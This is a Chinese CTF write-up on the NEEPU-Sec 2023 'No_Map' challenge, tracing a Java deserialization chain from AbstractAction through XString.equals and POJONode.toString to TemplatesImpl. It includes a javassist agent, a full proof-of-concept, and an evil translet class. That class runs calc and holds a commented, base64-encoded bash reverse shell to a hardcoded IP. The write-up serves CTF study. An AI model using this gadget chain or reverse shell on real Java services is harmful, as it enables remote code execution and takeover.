AHhw

就是先分/getflag路由传参进行反序列化将index.ftl的内容进行覆盖

然后访问/templating路由渲染模板执行命令

NEEPU-Sec-2023-No_Map

题目地址

https://github.com/R1ckyZ/My-CTF-Challenges/tree/main/NEEPUCTF%202023/No%20Map/solve

参考文章 http://www.bmth666.cn/2023/05/25/NEEPU-Sec-2023-%E5%85%AC%E5%BC%80%E8%B5%9Bweb%E9%A2%98%E5%A4%8D%E7%8E%B0/

写这里的目的是为了记录一下这个在没有hashmapBadAttributeValueExpException的情况下是怎么能调用到pojonode的tostring方法的

这里的话我看别人是用tabby来找出这条链子的 但是我不会 直接说除了谁还可以触发pojonode的tostring方法

就是AbstractAction这个抽象类

image-20231206171820945

跟进这个方法

image-20231206171844883

然后再跟进这个方法

image-20231206171920754

发现有个equals函数 并且oldValue和newValue可控 我们就可以想到了Xstring的equals方法能够触发pojonode的tostring方法 那么我们的链子就找完了

image-20231206172101897

然后我们来总结一下这个东西

1
2
3
4
5
6
AbstractAction#readobject->
AbstractAction#putValue->
AbstractAction#firePropertyChange->
Xstring#equals->
pojonode#toString->
TemplatesImpl#getOutputProperties()->

链子就是上面的全部了

这里有一个问题就是 oldValue 为 arrayTable.get(key),但是我们序列化的时候会执行 writeObject 方法,他会执行ArrayTable.writeArrayTable(s, arrayTable);导致我们写不进两个key相同value不同的ArrayTable

image-20231206172638631

image-20231206172710854

因为就是得需要有两个key相同 value不同的值才行 因为old和new就是根据key相同 value不同来进行选择的

假如先写入 aaa 后写入 bbb 那么对于bbb来说 aaa就是old

那么我们在这里的应对方法就是使用agent 再main函数运行之前就把上面的这个writeArrayTable的内容给修改掉

agent一部分源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

public class DefineTransformer implements ClassFileTransformer {
public static final String ClassName = "javax.swing.AbstractAction";

public DefineTransformer() {
}

public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
className = className.replace("/", ".");
if (className.equals("javax.swing.AbstractAction")) {
System.out.println("Find the Inject Class: javax.swing.AbstractAction");
ClassPool pool = ClassPool.getDefault();

try {
CtClass c = pool.getCtClass(className);
CtMethod ctMethod = c.getDeclaredMethod("writeObject");
ctMethod.setBody("{$1.defaultWriteObject();java.lang.Object keys[] = arrayTable.getKeys(null);int validCount = keys.length;$1.writeInt(validCount); for (int i=0; i<validCount; i++) {\n if (keys != null) {\n $1.writeObject(\"ricky\");\n $1.writeObject(arrayTable.get(keys[i]));\n }\n }\n}");
byte[] bytes = c.toBytecode();
c.detach();
return bytes;
} catch (Exception var10) {
var10.printStackTrace();
}
}

return new byte[0];
}
}

这里的agent的jar包在上面题目的代码中 自己去下载下来就行了

记得在image-20231206173232662

这个里面加上-javaagent:"该jar包的位置"

image-20231206173335995

最终POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
package org.example;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;

import javassist.*;
import sun.reflect.ReflectionFactory;

import javax.swing.event.SwingPropertyChangeSupport;
import javax.swing.text.DefaultEditorKit;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;

public class poc {
static {
try {
// javassist 修改 BaseJsonNode
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
writeReplace.setBody("return $0;");
ctClass.writeFile();
ctClass.toClass();
} catch (Exception e){
e.printStackTrace();
}
}
public static void main( String[] args ) throws Exception {
byte[] bytes = ClassPool.getDefault().get(evil.class.getName()).toBytecode();
// byte[] code= Files.readAllBytes(Paths.get("D:\\ctf application\\idea_vip\\IntelliJ IDEA 2022.2.2\\project\\No_Map\\src\\main\\java\\org\\example\\evil.class"));
// byte[][] bytes={code};
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);

POJONode jsonNodes = new POJONode(templatesImpl);
XString xString = new XString("a");

DefaultEditorKit.BeepAction action = new DefaultEditorKit.BeepAction();
SwingPropertyChangeSupport swingPropertyChangeSupport = new SwingPropertyChangeSupport("");

Object arraytable = createWithoutConstructor("javax.swing.ArrayTable");
setFieldValue(arraytable,"table",new Object[]{"1",xString,"2",jsonNodes});
setFieldValue(action,"arrayTable",arraytable);
setFieldValue(action,"changeSupport",swingPropertyChangeSupport);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(action);
oos.close();

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}

public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);

return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static Object createWithoutConstructor(String classname) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
return createWithoutConstructor(Class.forName(classname));
}

public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
}

evil.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package org.example;


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class evil extends AbstractTranslet {
static {
try {
//Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzUuMjQuMjM1LjE3Ni84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

这里有个小坑就是得用这个带抽象类的来弹计算器 用其他的话是不行的

(原理我也不知道…..)

image-20231206173510050